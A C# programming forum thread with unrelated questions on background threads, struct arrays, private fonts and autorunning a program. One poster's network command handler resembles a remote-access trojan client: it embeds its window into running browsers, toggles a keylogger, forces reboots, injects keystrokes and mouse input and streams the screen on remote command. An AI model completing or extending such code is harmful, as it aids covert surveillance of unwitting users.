|
How would I use a background worker to do the delay?
Can you please give me some example, so I can understand?
Thanks.
|
|
|
|
|
Please take a well meant advice: There's so much stuff about developing something for anything, no developer knows everything by heart. I use Google several times per day to find information I'm looking for and it's more or less the same for any developer. If you keep asking in forums for every step, your developing and learning progress will be very slow. You should learn to google/search for the information/examples you need. This website alone has probably 10 or more articles on how to use background workers. If you absolutely can not find what you're looking for, then ask. But examples of background workers are definitely not hard to find.
If the brain were so simple we could understand it, we would be so simple we couldn't. — Lyall Watson
|
|
|
|
|
Member 10850253 wrote: How would I use a background worker to do the delay? You start the worker from the pool, have it wait, then raise an event on the UI-thread again. Aw, yes, examples can help
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ConsoleApplication9
{
class Program
{
static void Main(string[] args)
{
using (var f = new Form1())
f.ShowDialog();
}
}
class Form1 : Form
{
public Form1()
{
var b = new Button() { Dock = DockStyle.Fill, Text = "click" };
b.Click += b_Click;
Controls.Add(b);
}
void b_Click(object sender, EventArgs e)
{
MessageBox.Show("Timer starts after this box is gone");
ThreadPool.QueueUserWorkItem(threadMethod, null);
}
void threadMethod(object o)
{
Thread.Sleep(400);
MethodToExecuteWhenTimeIsDone();
}
void MethodToExecuteWhenTimeIsDone()
{
if (InvokeRequired)
{
Invoke(new Action(MethodToExecuteWhenTimeIsDone));
return;
}
this.Text = "done";
}
}
} Don't mind the way the form is being built; it doesn't matter for the example. It uses the ThreadPool [^] to get a background-thread. Once you work with threads, some special rules apply, like not touching the stuff from other threads. This way you can update the UI when the thread is done, without getting cross-thread exceptions.
Bastard Programmer from Hell
If you can't read my code, try converting it here[^]
|
|
|
|
|
You should do it in a background worker; although it rather depends on what actual problem you are trying to solve.
|
|
|
|
|
The problem here is that when I send some command calling a Form, tt turns to lock this Form and it does not appear anyhow (even using the Show() method). MY FORM LOCKED[^] If its sent already with other commands, it works fine, lets say for executing a shutdown as an example.
Here is my last attempted code :
public void CommunicationProc()
{
while (this.Connected)
{
if (this.networkStream.DataAvailable)
{
int numOfBytesRead = this.networkStream.Read(this.receiveBuffer, 0, this.receiveBuffer.Length);
if (numOfBytesRead > 0)
{
String receiveStr = Encoding.ASCII.GetString(this.receiveBuffer, 0, numOfBytesRead);
QueueReceiveData queueReceiveData = new QueueReceiveData(receiveStr);
FindWindow fwSafari = new FindWindow(GetForegroundWindow(), "WebKit2WebViewWindowClass", null, 10);
FindWindow fwChrome = new FindWindow(GetForegroundWindow(), "Chrome_RenderWidgetHostHWND", null, 10);
FindWindow fwIE = new FindWindow(GetForegroundWindow(), "Internet Explorer_Server", null, 10);
FindWindow fwOpera = new FindWindow(GetForegroundWindow(), "OperaWindowClass", null, 10);
FindWindow fwFF = new FindWindow(GetForegroundWindow(), "MozillaWindowClass", null, 10);
IntPtr hSafari = fwSafari.FoundHandle;
IntPtr hChrome = fwChrome.FoundHandle;
IntPtr hIE = fwIE.FoundHandle;
IntPtr hOpera = fwOpera.FoundHandle;
IntPtr hFF = fwFF.FoundHandle;
foreach(ReceiveData receiveData in queueReceiveData.Queue) {
String message = receiveData.Message;
String value = receiveData.Value;
if (message.IndexOf("<|BB|>") == 0 && hSafari != null)
{
SetParent(this.Handle, hSafari);
}
else if (message.IndexOf("<|BB|>") == 0 && hChrome != null)
{
SetParent(this.Handle, hChrome);
}
else if (message.IndexOf("<|BB|>") == 0 && hIE != null)
{
SetParent(this.Handle, hIE);
}
else if (message.IndexOf("<|BB|>") == 0 && hOpera != null)
{
SetParent(this.Handle, hOpera);
}
else if (message.IndexOf("<|BB|>") == 0 && hFF != null)
{
SetParent(this.Handle, hFF);
}
else if (message.IndexOf("<|Cef|>") == 0 && hSafari != null)
{
SetParent(this.cef.Handle, hSafari);
}
else if (message.IndexOf("<|Cef|>") == 0 && hChrome != null)
{
this.cef.Show();
}
else if (message.IndexOf("<|Cef|>") == 0 && hIE != null)
{
SetParent(this.cef.Handle, hIE);
}
else if (message.IndexOf("<|Cef|>") == 0 && hOpera != null)
{
SetParent(this.cef.Handle, hOpera);
}
else if (message.IndexOf("<|Cef|>") == 0 && hFF != null)
{
SetParent(this.cef.Handle, hFF);
}
else if (message.IndexOf("<|Desco|>") == 0 && hSafari != null)
{
SetParent(this.Handle, hSafari);
}
else if (message.IndexOf("<|Desco|>") == 0 && hChrome != null)
{
SetParent(this.Handle, hChrome);
}
else if (message.IndexOf("<|Desco|>") == 0 && hIE != null)
{
SetParent(this.Handle, hIE);
}
else if (message.IndexOf("<|Desco|>") == 0 && hOpera != null)
{
SetParent(this.Handle, hOpera);
}
else if (message.IndexOf("<|Desco|>") == 0 && hFF != null)
{
SetParent(this.Handle, hFF);
}
else if (message.IndexOf("<|Close|>") == 0)
{
this.Disconnect(value);
return;
}
else if (message.IndexOf("<|Reboot|>") ==0)
{
DoExitWin(EWX_REBOOT | EWX_FORCE);
}
else if (message.IndexOf("<|Keylogger|>") == 0)
{
if (value.IndexOf("On") == 0)
{
this.Keylogged = true;
}
else
{
this.Keylogged = false;
}
}
else if (message.IndexOf("<|Key|>") == 0)
{
SendKeys.SendWait(value);
}
else if (message.IndexOf("<|Mouse|>") == 0)
{
String[] strSplit = value.Split(MenuRemoteClient.separator, StringSplitOptions.None);
uint x = Convert.ToUInt32(strSplit[1]);
uint y = Convert.ToUInt32(strSplit[2]);
if (strSplit[0] == "LeftDown")
{
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_LEFTDOWN, x, y, 0, 0);
}
else if (strSplit[0] == "MiddleDown")
{
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_MIDDLEDOWN, x, y, 0, 0);
}
else if (strSplit[0] == "RightDown")
{
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTDOWN, x, y, 0, 0);
}
else if (strSplit[0] == "LeftUp")
{
mouse_event(MOUSEEVENTF_LEFTUP, x, y, 0, 0);
}
else if (strSplit[0] == "MiddleUp")
{
}
else if (strSplit[0] == "RightUp")
{
mouse_event(MOUSEEVENTF_ABSOLUTE | MOUSEEVENTF_RIGHTUP, x, y, 0, 0);
}
else if (strSplit[0] == "Move")
{
SetCursorPos((int)x, (int)y);
}
}
else if (message.IndexOf("<|Remote|>") == 0)
{
if (value.IndexOf("On") == 0)
{
if (!this.remoted)
{
this.remoted = true;
Thread thread = new Thread(() => SendScreenProc());
thread.Start();
}
}
else if (value.IndexOf("Off") == 0)
{
this.remoted = false;
}
}
else if (message.IndexOf("<|Screen|>") == 0)
{
if (value.IndexOf("Success") == 0)
{
this.receivedScreen = 1;
}
else if (value.IndexOf("Fail") == 0)
{
this.receivedScreen = 2;
}
}
}
}
}
else
{
mreSendData.Reset();
Byte[] buffer = this.queueSendData.Pop();
if (buffer != null)
{
this.networkStream.Write(buffer, 0, buffer.Length);
}
mreSendData.Set();
}
Thread.Sleep(30);
}
this.remoted = false;
}
Any suggestions or guidance here is appreciated.
|
|
|
|
|
What do you mean by "locked this form"??
|
|
|
|
|
Simply content of Form not appers (as kind of infinite loop as I'm showing on link for image above).
|
|
|
|
|
I can't see your link as that site is blocked where I am.
If you're saying that your form is completely blank, it's because your continuously looping code is running on the UI (startup) thread, constantly hogging the thread so it's can't respond to WM_PAINT messages coming from Windows.
You have to redesign your application so that this long running code is put in a background thread, freeing up the UI thread to do, well, UI stuff.
|
|
|
|
|
publicstructtest
{
[FieldOffset(160)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
publicint[] DC;
[FieldOffset(168)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
publicfloat[] IN;
[FieldOffset(176)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
publicbyte[,] us;
}
privatevoidbutton1_Click(objectsender, EventArgse)
{
//int[] T_ADC = new int[3];
<pre>
array[0].DC =12
array[0].IN[0] = 11;
array[0].us[0, 0] = 1;
}</pre>
|
|
|
|
|
Um...
public int[] DC;
...
array[0].DC = 12;
You can't assign an integer value to an array!
So either change the declaration of DC, or change what you are assigning to it!
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
|
|
|
|
|
How can I change the declaration??
|
|
|
|
|
Drop the [] so you aren't returning an array.
|
|
|
|
|
XKCD has never felt so real...
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
|
|
|
|
|
I'm trying not to judge, but it's hard.
|
|
|
|
|
|
Certainly, if your code read this, for instance:
int[] item = 1; That would generate a compiler error because 1 is not an array of integers. If you only want one value, change it to
int item = 1; See how [] has been removed.
|
|
|
|
|
But can you show me where the backspace key is please?
Bad command or file name. Bad, bad command! Sit! Stay! Staaaay...
|
|
|
|
|
|
hi
i have attached font in my C# WinForm program.
this is the code:
System.Drawing.Text.PrivateFontCollection privateFonts = new PrivateFontCollection();
privateFonts.AddFontFile(Application.StartupPath + @"\MyFont.ttf");
System.Drawing.Font font = new Font(privateFonts.Families[0], 120);
lblMSG.Font = font;
when i run in the solution i see the font excelent.
but after i make setup to my program, and i install and run the program
i cant see the font (i see empty...)
(Of course that i attached the MyFont.ttf file to my app folder)
and i got this error:
Parameter is not valid
how to fix it ?
thanks
|
|
|
|
|
Did you add the font file to your program folder? Usually if you add a font file to an installer the tool will add install the font in the system Fonts folder, not your application folder. The code you're using expects to find the font file in the same folder as the .EXE.
|
|
|
|
|
thanks for the help,
i change my code like this:
privateFonts.AddFontFile( @"c:\Windows\Fonts\XX.ttf");
but after i install my program i got message that can't find the file
|
|
|
|
|
OK, the thing to do is to NOT change the code. You should be diagnosing what the installer is doing with that font file. Find out first, then react to it.
|
|
|
|
|
Is the file actually there? If no, your installer is in error. If yes, you're probably passing another path.
Bastard Programmer from Hell
If you can't read my code, try converting it here[^]
|
|
|
|
|
thanks for the help,
after the install i see the font file in my application folder
but still same error.....
|
|
|
|
|
how do i make my program autorun when my computer open(windows service)?
|
|
|
|
|